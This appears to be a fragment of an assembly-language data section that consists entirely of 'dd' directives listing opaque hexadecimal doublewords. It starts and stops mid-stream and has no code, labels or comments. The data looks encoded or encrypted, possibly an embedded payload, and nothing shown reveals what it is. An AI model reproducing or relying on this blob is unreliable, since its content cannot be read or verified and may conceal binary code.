67F7A3E2h, 4C4F0D7h, 0E79F3CE0h dd 0A400D7D0h, 0A3F79FB1h, 9C05ED51h, 55AAC729h, 17F499FAh dd 7FCC8C7h, 0F7F86DE8h, 0E48665E1h, 0E0E75A6Dh, 0F4F58575h dd 6DE4D73Ah, 0B92DD3BBh, 460A5BC7h, 0F74AEDE0h, 990D71E0h dd 75E7CEB4h, 6DAF3B58h, 6006E724h, 502D8DF2h, 465AC1D7h dd 529636DDh, 0A80698DDh, 0FFE7D7ADh, 6DE5C45Ch, 0F4B8F76Ah dd 0F600EC06h, 0EF656921h, 71F52DB5h, 0F5C541E8h, 2FA105F4h dd 2DEC0569h, 496673DFh, 65AD9862h, 8645AAD7h, 0A18DEDE6h dd 0DB47F44Ch, 646102B3h, 7299AF45h, 7167D725h, 0AAEDF9C4h dd 455F86E7h, 0D7C9EDD8h, 9926596Bh, 0A2B027ADh, 39F08575h dd 94387145h, 0B07FEBC5h, 0EA792BE7h, 0C7B8368Bh, 93E369EAh dd 6B53802Dh, 0F4E94559h, 75A5E7CBh, 0CBB95D60h, 79F20F7h dd 16FC4C0h, 83DF5408h, 8C726B4h, 2D774D64h, 0F8872139h dd 27B8B66Eh, 849841F7h, 0C7B96DECh, 0E7848021h, 6DF77CEDh dd 0EDEFC461h, 4D6EA105h, 5DEDB4A9h, 71E05292h, 8C1F6DA5h dd 0F14461ACh, 0D6F79F73h, 0ADC7C44Ch, 41A23169h, 0AB6D9509h dd 44696523h, 0F7EFF6D7h, 0E0077091h, 91F7FDBEh, 0ADC1854Ch dd 71E50169h, 0B42DB788h, 744DE13h, 0F7E1EDE9h, 0DE4568F4h dd 0C6C11AADh, 0EDE4440Eh, 7DA041ECh, 0DF3EBB92h, 864D62F7h dd 0D71779CFh, 0E6058BBCh, 0ADF7872Dh, 0B1C70645h, 49ADA124h dd 65C4FB06h, 46C752E7h, 2D85ADFFh, 80A1CB5Dh, 683E12Dh dd 0EDCEC514h, 59ADF7DBh, 3BADDB06h, 0C5656ED7h, 0F731BEC0h dd 0D9C7712Dh, 0A003062Dh, 0EDA0EC65h, 0C42AD7BDh, 381E044h dd 0CE4D241Dh, 0E7E077B0h, 0EA06F41Dh, 6AD72B7Eh, 2DE6C749h dd 796D5103h, 0A37E6C6h, 0AB50CD1Fh, 0F7CAADACh, 0AEED6FDFh dd 0DEC7E770h, 2DFF04DBh, 5D64E71Fh, 456DBF36h, 0C5716623h dd 0E727ADD0h, 0EE87516Bh, 0E5E714F9h, 84E8C551h, 0F02AD756h dd 306F807h, 0C549692Dh, 90F4F4F5h, 0D8C4456Bh, 63C774ADh dd 70ABCA59h, 416E13C2h, 63D1C086h, 574DEAF7h, 0E7A07766h dd 0D78761E5h, 0EAE707F6h, 2DFB0679h, 0DCAAC723h, 2BADEB86h dd 471EAD7h, 0D7DFEDFFh, 0F7B57121h, 65D7B6F4h, 0B1ABB624h dd 6DECE7D3h, 26DAC29h, 7F01950h, 0D0346EBh, 0B01559E2h dd 0A9C7077Fh, 2DCE8459h, 75E9115Ch, 3AED3969h, 84227BD7h dd 8305ADF4h, 9E6C49A0h, 0FDD7DBBEh, 0ADF285E4h, 796B6CEBh dd 452DD547h, 6A652913h, 71F72DA2h, 0CE464525h, 0A4C7832Dh dd 0B483CF93h, 50C9E7AFh, 0CEF6C0C7h, 645A230h, 0C7DAB9E8h dd 88F624A2h, 0A4D7B879h, 0F43D3469h, 6525F7F8h, 142DA8ECh dd 6A7960F2h, 0D7106DAEh, 0EB85596Bh, 6AE79571h, 0EDA13049h dd 65AD20FFh, 5C6DA628h, 0C75124D7h, 0F758EDE9h, 0EDC4752Dh dd 0EDE7E46Dh, 2DD84565h, 0B02F9105h, 852DD984h, 85263BB0h dd 711CADF6h, 0ED855166h, 0D2E7F32Dh, 0AD90A4FCh, 4563E7BEh dd 696DCCC4h, 46B42101h, 0F0B9B9D3h, 0B6A1C8DBh, 6D93E16Dh dd 2DC50571h, 5563E278h, 30F8DC05h, 867D2AD7h, 0D70DF4FDh dd 0D904B737h, 27E7FFADh, 0AD0DB075h, 0ABB0E7E3h, 0E92DE947h dd 0C7A870A2h, 0C7F2EDD8h, 0A72865A0h, 0E8E70DEDh, 0AD901165h dd 5563E762h, 0B06DCD06h, 0B05D68A4h, 0E7FFED68h, 6F345ABh dd 0F6E7D06Dh, 40C54720h, 5926E2D9h, 0D92DF506h, 0B67124F2h dd 0B0D7AD4Fh, 0D3066521h, 21F7A570h, 3955B320h, 5DAAC764h dd 0B8EDA477h, 304564F7h, 0A23BAD8Dh, 0D0046DA5h, 0E4C7B6B3h dd 31F54565h, 556B1124h, 0E430BFF9h, 47A02AD7h, 0C2D980D7h dd 0AE7351A4h, 0ADF7D36Dh, 0ADD18649h, 65EFF766h, 0A43955F3h dd 326DE0D7h, 0D7E17761h, 0B0FDAAA6h, 0F7AC2EEDh, 0F6CB8488h dd 75A1A1E7h, 47EDE145h, 457521E7h, 0E7C4EDE9h, 0E745616Dh dd 0ED9C456Dh, 0EDC10455h, 0E4B8F7E7h, 0A66DEE85h, 569EBE7h dd 0E708BAF9h, 0C6C461A5h, 656022EDh, 0F6A2B761h, 61A2B1E3h dd 9F2DE6C5h, 6161E952h, 0E7F8F990h, 0E5468487h, 8CF31A2Dh dd 0B6DDC668h, 0F48762B0h, 0A03279BCh, 9461AEE7h, 40F43995h dd 0BBF75DAAh, 4364FDADh, 0A3D5C736h, 0B4C664FBh, 0CBBB896Dh dd 1C85C2E7h, 81B1345Bh, 0F3444C9Ah, 0E8C7DFEDh, 0F18ACF51h dd 45E5D77Fh, 1A6DA837h, 776129E1h, 61D1AD76h, 0DBC72B6Fh dd 0A051A8ADh, 6DB8A149h, 75228DB6h, 0A734F045h, 649EDD7h dd 814FADDAh, 5A6D612Dh, 0EDF7342Dh, 0FCAAAB75h, 4524D739h dd 7AED8D20h, 847925F7h, 0D7DFB6D7h, 0C48745E6h, 65F71F4Eh dd 0ADE3C749h, 75AE81B7h, 2DADFDC5h, 1665A9D7h, 0C707AD94h dd 0C6C445A0h, 65A02536h, 2DADE145h, 4DA1E758h, 0C5EDE4C4h dd 0C559A2E7h, 0F7C776FDh, 0EDC545A1h, 65F7B26Dh, 0ADE0C67Dh dd 45E5E767h, 0E9F2EF84h, 39696520h, 111C77A8h, 0E104BCB0h dd 0C9F290EDh, 3FE684A0h, 49E0E7E7h, 0F4FCAAEAh, 4645A420h dd 0F78F2DD0h, 0D545E7DFh, 0E9E7EC39h, 0EDE304B0h, 0C812B1E7h dd 0E7EDF946h, 65121B1h, 0F747F6E2h, 0EE0655A3h, 0AE795EDh dd 0ADA47EFCh, 8888E7FAh, 86ADFF06h, 4565E1D7h, 0E241ADDBh dd 0C5460744h, 0E1EC7EEDh, 0EDDE4475h, 75A1E7A4h, 0A4B8FA05h dd 87556BE7h, 62F039E2h, 0BCEC65A5h, 27D31AEDh, 376877A4h dd 556140E8h, 5803E8C5h, 84BB6FB0h, 0F77A6DE8h, 0E3C67DE5h dd 9BD7E9EDh, 0EDFA04DCh, 0B856D787h, 0A16DAF6Eh, 866DADE7h dd 81EA30EDh, 0C2C461E8h, 0E6E77FB4h, 6DED844Dh, 75E1E7E1h dd 0B8EDAD2Ch, 1B7D6BF7h, 0E7543093h, 0F704D4F4h, 66F7C5EDh dd 0ADD90571h, 0ECB3D7A6h dd 0F7ED953Ah, 2545EDE7h, 0C718AD91h, 9B61792Ah, 0A2F7A9EDh dd 2DDAC571h, 0ACBBC775h, 0DFADF285h, 8441A6D7h, 0E7F534E3h dd 8D3769E0h, 0A0F77A2Dh, 0FB7DD445h, 13EFE7B2h, 0D5B380EEh dd 0C749A3C7h, 0C764ADE7h, 0DA84F8D2h, 0A5D71A6Dh, 0B4194E55h dd 456DD7DAh, 9F2DE4C6h, 4571A5E7h, 0D72D06E9h, 0A8636929h dd 6D912671h, 0F3DE856Dh, 65A7F793h, 18318A8Bh, 549E490h dd 311A2DFAh, 0E507412Dh, 0CBD7EAEDh, 0F4DF4544h, 616B531Fh dd 4737C245h, 856DA231h, 0F711EDDEh, 0F5C55DA2h, 60213B77h dd 6DECC575h, 0C454C7E3h, 0B6B3E784h, 0C5E073D7h, 91BCCBh dd 0ECC6CCB1h, 0E9F7A0B4h, 0EDEE4665h, 0B067D727h, 957CA169h dd 0C549EBC7h, 0F7566DE0h, 0ECC4456Dh, 0A2F7E174h, 0EDADF165h dd 45E0E707h, 912DBCA0h, 384DEBC7h, 0D727EDBAh, 0ECC569E8h dd 0A9D7852Dh, 0F498A179h, 41A8C784h, 8774DFC7h, 47565E7h dd 21A62DC4h, 0EAC54925h, 61A1C62Dh, 0CBFDC545h, 5127AEECh dd 70BE5948h, 22B711C1h, 71F52D95h, 517B9CE8h, 0E0E7D034h dd 0AD8F3571h, 0C4BBD7A1h, 0D9AD9033h, 6556DD7h, 0C78C6DC0h dd 0CD4771A3h, 0C6F75E2Dh, 0F3ACEF98h, 0FC58010Eh, 4AF2C5C4h dd 0E25DA1F7h, 0E70AB28Ch, 0A36DEC85h, 68E7B4B2h, 2D8DA14Dh dd 5920F7D8h, 32748354h, 45D6D32h, 0D7DF79E8h, 0F2044D23h dd 5CACEDF4h, 0EDF346C4h, 0A0DE733Dh, 152D9321h, 475E5F7h dd 0E7E132C4h, 0A1AC4960h, 0ED5172EDh, 0EDEDC645h, 0F8F85133h dd 33EDA14Ch, 6C7DE461h, 6133ED67h, 646C7DE7h, 0E54133EDh dd 0F9BFFD61h, 49A071A3h, 8F2DB6A0h, 215969C0h, 0C72D3FAFh dd 0A5214129h, 36F725EDh, 0B6F207D0h, 61A2A1AAh, 9B6DE445h dd 4FB4B8F7h, 73CFEDB1h, 9E604044h, 0E9D756EDh, 2DE2C588h dd 71651067h, 42DCEC6h, 4568D573h, 0D7F82DF2h, 0F0054965h dd 4DE0EB2Dh, 7A7EE7Ch, 79AA434Dh, 0B2FCC1C6h, 6F4B8DC7h dd 71B88FBDh, 0CEC465E5h, 0CD553DA7h, 0EDB54CFBh, 0E4436F33h dd 152DD245h, 0CFF4DF7h, 0C7176D6Eh, 46AF516Eh, 0A0C757EDh dd 47862159h, 7C4FE72Dh, 0CB3095CEh, 0C64C4951h, 0E721ADD0h dd 8E8FFC4Dh, 4473D12Dh, 7F4EEE6Ch, 61ED3162h, 42F4D846h dd 0C555A261h, 63947FCDh, 0E3C58853h, 65D0812Dh, 0C6F6C66Dh dd 7D20410Fh, 0AF7E5FEFh, 8749E09Fh, 0C7BA2DFCh, 8DA3C0B1h dd 2AC7162Dh, 2DBD2DC8h, 65AAD24Ch, 7EDC686h, 45696523h dd 0E727B4F1h, 0EE464568h, 0F0935AADh, 0ADC88640h, 61E991B0h dd 0F56DAE42h, 6783042h, 72033ECAh, 297B9026h, 0D9F7D62Dh dd 1E64EAE0h, 0D074936Fh, 2237AAFEh, 7656561h, 0C71AF7DEh dd 97366165h, 0A5C747EDh, 2DE3C769h, 796DC7A5h, 146DE645h dd 545E5F7h, 0C7F82DE1h, 0E445552Bh, 64C7EAADh, 2DEC854Dh dd 65EBF7C5h, 95EDE745h, 0C7BC06F7h, 5592DC5h, 0C505475Ah dd 29C7F82Dh, 2DE5854Dh, 0DCF3E7E2h, 332DE507h, 0B7D820C7h dd 0C7DFAD36h, 0DF877D2Dh, 5CE7F3FFh, 4AFE8590h, 4D6BE724h dd 0D3C1C0C5h, 449EDD7h, 0D7B833F2h, 0DFD4925h, 3AC7842Dh dd 0AA77263h, 51256122h, 0F1EDA3BDh, 4484E7C7h, 2D422DDEh dd 0A2B4792Ah, 0A1C073EDh, 0ADFF4645h, 78F7C272h, 0DA74A1E0h dd 1665A1D7h, 0F72BEDA1h, 0F20475E9h, 67D7322Dh, 4C5C661h dd 65A0E707h, 0B077B47Dh, 25ACF462h, 12B2DA5h, 0AB3449E2h dd 0E5D7392Dh, 79A2DC55h, 4D6DF7E1h, 0C6BBDEC5h, 7D18E0C2h dd 50BDEDB5h, 0D30659A6h, 69D7DFEDh, 0B91DBC4Dh, 652DF720h dd 0A5F7A32Dh, 46C42AD7h, 0C48B6DD2h, 0C606D800h, 2ADC15F7h dd 0EDE10479h, 412CD297h, 5819F037h, 0C5842881h, 0F70439ECh dd 8F61B26Eh, 19E24746h, 0EDE6C69Ch, 84E0D758h, 0B7EDE104h dd 5A4D8A1h, 0D7E86DE8h, 0D4C54926h, 38F7072Dh, 2DF2C7C8h dd 596BC795h, 9D2DF485h, 0C64D65D7h, 0E787ADFAh, 0B8E341E2h dd 7EB8E434h, 749423C4h, 416DD170h, 596DEE06h, 4641E8F7h dd 0C75C2DE4h, 5263D8F9h, 0ABD79574h, 2D8C717Dh, 4DE8B193h dd 0ABF0CE46h, 77FCF880h, 0C7E00C81h, 0B5DE537Bh, 0E8C729EDh dd 7EA94259h, 7DE9C72Bh, 0B42DA2A4h, 0C45D2BE7h, 9340ADE5h dd 0F6C741E4h, 0E09187ADh, 0ADD3C545h, 0DCF0D736h, 862D96ADh dd 66522F7h, 0C731F7F6h, 0DB44C484h, 0E3C06D3Ch, 49D025Dh dd 796AC06Dh, 71F187CBh, 0C3743AC7h, 7012F780h, 0DC0675A3h dd 3BC7DB78h, 50C10664h, 6C9DD793h, 84F1B161h, 23B45BA1h dd 0B0F96D93h, 90F34166h, 6DD72EADh, 74DD0449h, 61A5E737h dd 0D9B0D8C7h, 0C74879C7h, 0E7952DE4h, 9DAD5D6Bh, 0E5D7072Dh dd 2DD5C749h, 652BC795h, 9D2DE485h, 0B151E4E7h, 0D7E17485h dd 0EC064D66h, 7DF7396Dh, 0B1DBC5E8h, 98FBC787h, 1FBCAB21h dd 756D25C7h, 13042D8Ch, 7CE200BBh, 0E2D784ADh, 2D88A269h dd 9432B129h, 0C6F4800Dh, 0C54DE191h, 81A2ADFEh, 87A179A2h dd 0B3D7EF1Ch, 3CCAC595h, 41E691A9h, 37F4D6C6h, 0F45965C7h dd 0C7DCB476h, 91A028F9h, 6AA1312Dh, 0ADA32169h, 0C36D767h dd 0AC84D107h, 645E611h, 0F755EDC6h, 0E84679EDh, 26F77C84h dd 6DA82075h, 41E5F7E0h, 0ECADF0C7h, 745ED51h, 0E77C3FE3h dd 0AE20F44Fh, 0DC78E73h, 2DD8060Fh, 7925D70Ah, 836DC7C7h dd 5592E58h, 91A931FAh, 0C3054D6Bh, 0C2E0FBADh, 0AD9AA1B8h dd 6D64E7B8h, 84F49492h, 0B25DA0C7h, 0E7ABEDB5h, 0EE04F0C6h dd 0A5C7ABEDh, 0EDE20471h, 7D23D79Fh, 2BFC94CEh, 47169E7h dd 0B251EDFBh, 0B39251ADh, 0E1D7ABEDh, 0EDB4FE45h, 4DE5D7ABh dd 2EFF872Fh, 46C04773h, 5354ADCEh, 0D146C4F0h, 2B62BC34h dd 0EDA93055h, 74F1E7A4h, 252D8DE3h, 0C769E9E7h, 0C7E5B1F0h dd 0E6C44122h, 0F0D754EDh, 7EE986D4h, 7D61D786h, 0DDADA8E3h dd 0CBC8F0D7h, 0A1502D85h, 0ACA04928h, 0E5A133EDh, 6DCAC559h dd 0FCB8C795h, 0DA2DA462h, 69811E7h, 0E7DFEDD4h, 0DF0651A1h dd 47D76461h, 34EF443Ch, 0AC94D705h, 0BE6DE6C5h, 0C56DEBE7h dd 0F7D330F0h, 0F5C645A2h, 90D7DEB2h, 30B03E8Ch, 9B15C7E6h dd 1C6DF904h, 0C56D65A0h, 423A2DE5h, 9BAD8015h, 0AAC7ACADh dd 2DDEC471h, 844EC7C5h, 0F5AD5902h, 0E2001332h, 0D7B38A51h dd 0D1466D22h, 66F73A8Ah, 82D0FB4Dh, 7567D7BAh, 0D32D92C3h dd 86C470D7h, 1051EDE4h, 0F806A452h, 0ABA051BFh, 0AD4C0245h dd 416112F5h, 5FADD084h, 46B415C7h, 0E7E477C0h, 0DEC451EDh dd 0FC508172h, 0AD92E184h, 0E4BDE726h, 54BCFB06h, 0E1452671h dd 0C7A8BE85h, 0E506AC15h, 7EC7EEB1h, 70DC06ACh, 65AAC7BAh dd 4BEDB8F4h, 9F65AA80h, 0D75BAD98h, 0B7FEC0B4h, 32E77C38h dd 0B4E7068Ch, 0A01170A0h, 0DB2D8EA1h, 67DA1F0h, 24A2DCEh dd 0A4C375EAh, 64D73943h, 0ADA82169h, 0E83DE759h, 0BCADA8E3h dd 0A9512140h, 0E7DBADA8h, 0A268E876h, 4391692Dh, 0F4C84688h dd 4928D718h, 7C35DA85h, 1CC84FD7h, 0D1C5B48Ah, 8FA169A9h dd 0A7C705F4h, 0AD9BA379h, 0BB0791CBh, 0F8ADA93Dh, 469546D7h dd 983CEDF5h, 0DB05656Eh, 0C0917BEDh, 2DCEC7A8h, 7966F7FDh dd 0F83C8AA2h, 45120F7h, 0E718EDEEh, 0F5078801h, 72C72A6Dh dd 7451C3F4h, 0EC3502B7h, 0F87CA2A2h, 115DE1E7h, 0F79576A8h dd 856CB8A0h, 0EDD7242Dh, 0ADF1C669h, 51A7C2FAh, 0F5EDE1C7h dd 0E09C74C7h, 0D76A6DA4h, 0E804ECF4h, 0AFBC01F7h, 2D97B271h dd 0B4EE4366h, 0F5ADBBD4h dd 0E3ECC532h, 0E7B87CA2h, 816079A9h, 0A981BFBCh, 84C80469h dd 6169AEE8h, 0A42DDCC6h, 85D8BEF7h, 0E78673E0h, 0DFC775E3h dd 0E9E0C1B4h, 36DEC749h, 79E5C79Dh, 0E7ADA1B4h, 9DA46DC7h dd 6363ED40h, 0E80541E5h, 6D916779h, 6DE8856Dh, 7565C7F6h dd 3AED84BAh, 85696BD7h, 0C00E6DE4h, 84D3E48Ch, 657BEF33h dd 72D4C765h, 71E9E723h, 0D5EDE545h, 0B9F475E7h, 0F7DF7183h dd 0EDC75D20h, 0A481B3F4h, 0B78D8075h, 10B5E71Ah, 0EB6DF1C5h dd 0C7C872C7h, 0F7302DE7h, 91715166h, 2DF7A6ADh, 0ADEC0555h dd 49E9E705h, 4BED99E2h, 0C67966D7h, 0C75EADD7h, 0EFC4C045h dd 7ED747F7h, 0ADD684D8h, 0EF03E7A4h, 1537CEC5h, 456563C7h dd 0F7C3ADCDh, 0E5C46D6Fh, 27D7DFEDh, 74A7026Dh, 71AB2022h dd 8CADAD41h, 4F716341h, 0E705ADA3h, 0A46C5D6Bh, 45418EADh dd 47C80594h, 0FC0FF76Fh, 0E3ADD1C5h, 0C5C48FC7h, 0E79FBFFBh dd 9B096D66h, 60F7CF6Dh, 0ED984C79h, 716B5D96h, 0CC6DDBC4h dd 0AE4F09C7h, 0C7EB2D4Eh, 0EB47552Eh, 6B5D1C0Fh, 2DCD4549h dd 45ECE74Ah, 0B26D6CEBh, 0A4A854E7h, 0D7DFB9B5h, 55336160h dd 0F3115C2Dh, 74E705DCh, 5DA4F71Fh, 566DC507h, 0A1E7946Fh dd 63972D81h, 0AC2EC843h, 0EBE7BA6Dh, 32C3C769h, 5DADE726h dd 2BBCF1C6h, 0FE516AF7h, 0E725AD8Fh, 0CE05656Bh, 0BDD71AF6h dd 0ADD146F4h, 45E0F7A7h, 6BEDDC46h, 0AF58FB42h, 6115B891h dd 0AF7D796Ah, 651131EDh, 0B6B62861h, 516450D7h, 0C7ADBD2Eh dd 0C741A860h, 0D7F3ADEEh, 0DC0470D0h, 20619AEDh, 2DB56871h dd 55E1D714h, 336DE984h, 4578136Dh, 0C7C76DC4h, 70796C83h dd 83C7C6EDh, 46E605F3h, 45A8C725h, 26AD9830h, 0B7D8C5D7h dd 0F7F0AD96h, 0F3C4556Dh, 0E1E7E76Dh, 2DFB4649h, 71ED9129h dd 0DF2D9A60h, 0AC4964E7h, 11BE367Fh, 0D6065924h, 63C7F2ADh dd 2DB2A155h, 4164C0F6h, 1BF282AAh, 0E8E3FB51h, 11F4EDA2h dd 0BC4055AAh, 78F715ADh, 0A6B50B58h, 988B05F3h, 0CDA68261h dd 3D75E8A3h, 6146ADB9h, 0D4065D6Bh, 0F2A1E7ADh, 8CD205E6h dd 55E4AE79h, 36EDB950h, 75D69E0h, 0F78583D4h, 46AD41EBh dd 0CEC754EDh, 0ADF2C680h, 0D414D754h, 9CF1D6C6h, 463CA6C7h dd 0C71CF9D3h, 0D34604A6h, 0A6C79FF9h, 0F9D3460Ch, 14A6C71Fh dd 9EF9D346h, 461CA6C7h, 0D0292DDEh, 0F505592Bh, 0D7F7D0F4h dd 0B2ED8667h, 6DE1D754h, 1FEDC8C5h, 545DA5E7h, 0C02EED85h dd 82EA75E8h, 0ADF7A634h, 0EDACE141h, 0DC9EF7ABh, 0F02D9669h dd 86BC8883h, 0E7FBADD0h, 5EA0756Eh, 0A950FFEDh, 3AC9C569h dd 0B792F764h, 18EDEA04h, 0A0F470F7h, 2168ADA5h, 0F0075563h dd 0A1C71F7Fh, 0AD915559h, 49EDF7A0h, 7AB7AE52h, 4B3EFE0h dd 0E7FFEDCBh, 6A3765AEh, 0A2F000EDh, 9E74569h, 5563E7A2h dd 867FF047h, 0FBB48BE7h, 0E7F0ADACh, 0A674DC75h, 0A3B11AEDh dd 0F3C68675h, 556BF7B3h, 0FF3FEC44h, 0B649AFE7h, 0C8DCEDC9h dd 0C44649A5h, 0E9002F2Dh, 0AD8CE945h, 51E4E7D5h, 0BC82D7C4h dd 0C78818E7h, 0F7952DEAh, 0DC85456Bh, 45C7E730h, 0ADCEC4DCh dd 5121F797h, 0A56DD1C7h, 465125E7h, 70AE6DD9h, 97E3CC35h dd 2AC7952Dh, 0EDEA8565h, 7DA9C70Ah, 0A5AD8FECh, 7375E0E7h dd 0F7B0F457h, 0D3049085h, 0E7F7DF2Dh, 82A76B51h, 6D269FE4h dd 0F5EDF504h, 1159ABA0h, 0C7DFAD63h, 85BF69A8h, 64203B3Ch dd 36E1C561h, 0E8F6C7E0h, 61ADD105h, 0C52876E7h, 0D0C52DDDh dd 0CBC54122h, 0E6E7E4B1h, 0F4F74641h, 712A53F2h, 25ADDB85h dd 857163C7h, 0B067ADFAh, 0E4064DA2h, 2AC75E6Dh, 0C8F60559h dd 0E4F4A161h, 0F071C785h, 843FDDB1h, 33A42DDDh, 94FAD43Ch dd 0AAC7842Dh, 0EDF20451h, 6128C718h, 0B2DC3C7h, 2C6522CCh dd 0F73C408Dh, 0D6C41C3Fh, 2DF71970h, 0EDE4C459h, 0C28C0E9h dd 7A2DB5E3h, 0AF59E0E7h, 0A150B0BFh, 0EA86C439h, 0AFBCF534h dd 0EDF64645h, 0FBF928Eh, 0D308D5C5h, 460736D7h, 0F7186DFAh dd 0E30636FAh, 12E747FBh, 2DB56198h, 0B4F0A045h, 0D1F4E985h dd 0C704FEE7h, 0D029EDE4h, 932D4D6Ah, 6123DA6Dh, 77C1C74Dh dd 716AF7C5h, 0E4F2F905h, 55D22E7h, 61F42DCEh, 0A3A2CC66h dd 0E6E7E52Dh, 74DEC445h, 71EAD739h, 2034A5DCh, 65DE591h dd 0D76FEDE5h, 0E64555E9h, 6BE7C7EDh, 6DDBC598h, 75A9C7D5h dd 0F1EDFDC4h, 86F4B7B1h, 0D7379CC1h, 59605123h, 0A2F7E9F3h dd 83E1C571h, 2881F758h, 0A52DE386h, 0B171E6E7h, 6211ED86h dd 8156BBA2h, 95F735F3h, 2DA86BBCh, 4529E7D6h, 0B943BDBFh dd 847DA093h, 9182F1FEh, 0A8377965h, 6213E5ADh, 0ADE40738h dd 7D60C709h, 86EDC507h, 0C56561F7h, 0C76C6DEFh, 0EF467565h dd 0A2E7246Dh, 0EDEF4579h, 0A4E80034h, 146DA6FFh, 545E5F7h dd 0C7792DD9h, 0F90545A5h, 0E5C7382Dh, 2DC3C56Dh, 656AE7EBh dd 0D02DBD9Eh, 545A942h, 91672DE1h, 0E44641EDh, 0E8F7B8EDh dd 3387E36Dh, 716E3175h, 792D9AC9h, 679E5C7h, 0F7072DFCh dd 0FB8449E9h, 29A13EB5h, 0EDC00659h, 7DECF7C0h, 3163BDAFh dd 228424D7h, 0D727EDBDh, 0EE85842Eh, 0A7E7F66Dh, 3CD28575h dd 6DE6D7E1h, 992DD286h, 2F84AE7h, 12ECEDA9h, 0E44649E8h dd 6D911BADh, 0FAF98455h, 84D7E7F0h, 9F2D7479h, 8649E8F7h dd 0F75F2DF4h, 0CC8645E8h, 5C7B873h, 0F6ED06A8h, 75A3E718h dd 0DBFA97B9h, 679A4A1h, 0F7252DC3h, 0EB046DE8h, 56F72BEDh dd 0EDED0438h, 49A5D779h, 78FACC05h, 0C45DE5F7h, 0E707F2C7h dd 0E784C8C0h, 0E5E7E12Dh, 0ED450061h, 65ABE705h, 0D52DFC06h dd 394168F7h, 0E712EDBDh, 0FA85E486h, 56C7FE2Dh, 0C2BBDB34h dd 9489F784h, 9F2DFB05h, 48062F7h, 0E793EDFBh, 0EE457524h dd 0A7E7E66Dh, 2DD4C761h, 71E9BFF0h, 0D1B4B8C9h, 39C043E7h dd 0C705EDB1h, 89AE7DE8h, 1F0A8DEDh, 52D08686h, 0F888C753h dd 55B27C39h, 4B31FD7h, 0F7936DDDh, 0C6858496h, 4C621A02h dd 0ADA53DACh, 6DA4C739h, 39ED853Dh, 0C559A5C7h, 0D7D16DC8h dd 0D3064DE8h, 0E9F75534h, 0EDFA064Dh, 59EBF7C5h, 0DB2DF685h dd 0C16DE9D7h, 2CDEF4A5h, 55A1A14Ch, 9AF7A002h, 2DE747B2h dd 7DEBE711h, 462DB522h, 46EFB571h, 81692DE6h, 0B6A1A4D7h dd 0E6D730ADh, 0FABA2659h, 0B8F22060h, 2FFADDC4h, 6796820h dd 32172DFFh, 0ACC0716Dh, 0D483766Dh, 0EDF60492h, 0EDF00E10h dd 0E0BCB960h, 682094C7h, 3C2DE2BEh, 0D9C6AE57h, 62F736F4h dd 2DCEC45Dh, 0E45DF023h, 1FE25CE3h, 8641E8F7h, 0C7138AE1h dd 0ADE30C51h, 0EC3CF12Dh, 0EDB10345h, 349324F2h, 0E7828CE2h dd 987967D7h, 12C4EDBEh, 0F2C554F8h, 0BCF7E13Ch, 0B4F6C5F8h dd 18D881B1h, 0A182D184h, 7C6F4B5h, 0E7E16DC1h, 0C746C045h dd 0FAF7FFADh, 2DFDC410h, 5967E79Fh, 1A2DD887h, 5456EE7h dd 6325EDF4h, 87CD79E0h, 0E720B57Fh, 0F6A4065Dh, 41A52167h dd 5B6DD446h, 0C664C4E7h, 5325EDFCh, 118D41E6h, 2AC73C2Dh dd 6DE107C4h, 60C5D761h, 0B4C7E245h, 4641EBE7h, 0E799EDD4h dd 8CD0E4C4h, 0C0E7AF2Dh, 0B7E34657h, 41AB6FF1h, 0F1EDFC46h dd 85E06B6Fh, 0E7B687F5h, 0DC46416Fh, 0C2F75C2Dh, 2DCC07C7h dd 0F342E799h, 782DF9C4h, 0AC61EA61h, 617A2D71h, 8CED574Dh dd 2D7DC72Dh, 0FEE00445h, 4529C79Fh, 246D682Ch, 0C6E8CF63h dd 0F7D14FE5h, 0E5076D6Bh, 6BF7CD4Fh, 7FEDC645h, 69E4E7CBh dd 8DFFE685h, 0CD45A3D7h dd 0F7E6AD90h, 0C786716Bh, 0A663E12Dh, 6D6AEE69h, 6C036DD7h dd 2AADFA85h, 0EE696063h, 63D7AD58h, 0E686556Eh, 49E73907h dd 0B7B02A60h, 5121C7F0h, 0E0EDA54Eh, 4460C5D7h, 0E7D50FEDh dd 0F446F40Eh, 6B309DBFh, 0FEF5C665h, 6927E7CBh, 58AD62E9h dd 4C0044Fh, 632A2DD5h, 50EC6926h, 17FD7EDh, 0FEF587D4h dd 45282193h, 0B6ADD446h, 6EF398F7h, 0C7A3C6A6h, 0B56C7348h dd 6E63FBEDh, 0C6E60455h, 5349E724h, 0D1ED9EACh, 0E969EF6Dh dd 40762D50h, 0EDC573C0h, 2A71B24Fh, 97CC4659h, 0D39DE798h dd 9F6DE5C4h, 467128F7h, 0C7C187D4h, 71ABF409h, 9DE7927Fh dd 2DB0EF73h, 0D0013FC4h, 0BC4EE1C6h, 0EB75A971h, 0E2DC6D68h dd 0F147CCCFh, 0A7E78646h, 6D7AAF5Dh, 41292FC2h, 0C26DEB46h dd 0C7FC0D3Fh, 41094EF9h, 618B5522h, 0A2C79F2Dh, 2D6D8B55h dd 5523C79Fh, 9F6D518Bh, 0CB7522D7h, 0E738F668h, 8A2C539Dh dd 0EE2FC4ADh, 0ADC24641h, 5DA62FCAh, 14AD69AFh, 0AF5DA12Fh dd 2FC2AD64h, 0D546412Eh, 2F2FC2EDh, 4EB9ED51h, 55E76162h dd 0E3775E8Bh, 47771CE7h, 23C0B6F3h, 0F087456Eh, 922D72EDh dd 6DC64640h, 5406D71Eh, 0DB81F807h, 4E51A3F7h, 0D760EDA9h dd 0D4465CC5h, 6BB29DB9h, 2DC4456Dh, 7DE663E1h, 3B2D7934h dd 0C4E883FEh, 63E12DC6h, 0E685556Dh, 0E2F757FFh, 81D307B7h dd 87E2F7D5h, 25EDF205h, 3461AE43h, 0EC4E6D59h, 8014612Fh dd 0BCC752C6h, 6D66AD88h, 9CEDB0E1h, 0E0DFC785h, 0C56D6BF7h dd 61E12DDDh, 0CC457787h, 0AAD7182Dh, 2D9D8D65h, 6162FC4Eh dd 0E36D4534h, 4458C5D7h, 71AC41D8h, 0A46D45EDh, 98021EDh dd 2D6176FCh, 49A0DC98h, 0FD776814h, 265DEDC7h, 0F7C637AEh dd 0FF84456Bh, 0E0E0A8C8h, 0B170914Dh, 0B374C7F7h, 42ADF907h dd 116D267Dh, 4D42AD51h, 0A4914DE6h, 0A45DA937h, 6D713461h dd 51257DA9h, 0D02D2B17h, 467406D7h, 0E71BC7D4h, 914E51A3h dd 0C5D763EDh, 80CB0660h, 0BBF2D7C4h, 67B8CB46h, 87492F7Dh dd 0F7E2FFF5h, 0E786B3AAh, 